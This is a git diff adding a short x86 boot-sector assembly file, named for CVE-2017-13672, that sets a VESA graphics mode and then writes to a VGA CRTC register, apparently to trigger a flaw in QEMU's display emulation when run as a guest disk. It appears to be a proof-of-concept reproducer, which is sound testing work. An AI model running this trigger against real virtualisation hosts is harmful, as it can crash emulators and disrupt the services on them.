diff options
Diffstat (limited to 'boot-cve-2017-13672.asm')
-rw-r--r-- | boot-cve-2017-13672.asm | 25 |
1 files changed, 25 insertions, 0 deletions
diff --git a/boot-cve-2017-13672.asm b/boot-cve-2017-13672.asm new file mode 100644 index 0000000..2d9ca9d --- /dev/null +++ b/boot-cve-2017-13672.asm @@ -0,0 +1,25 @@ +; From: David Buchanan <d@vidbuchanan.co.uk> +; +; compiles to boot sector, pass as disk to qemu to run the code. +; + BITS 16 + + ORG 0x7C00 + + mov ax, 0x4F02 + mov bx, 0x4118 ; 1024x768x24, LFB enabled + int 0x10 ; init VESA graphics via BIOS + + mov dx, 0x3d4 + mov al, 0x1d + out dx, al + + mov dx, 0x3d5 + in al, dx + or al, 0x80 + out dx, al + + jmp $ + + TIMES 510-($-$$) DB 0 + DW 0xAA55 ; boot signature |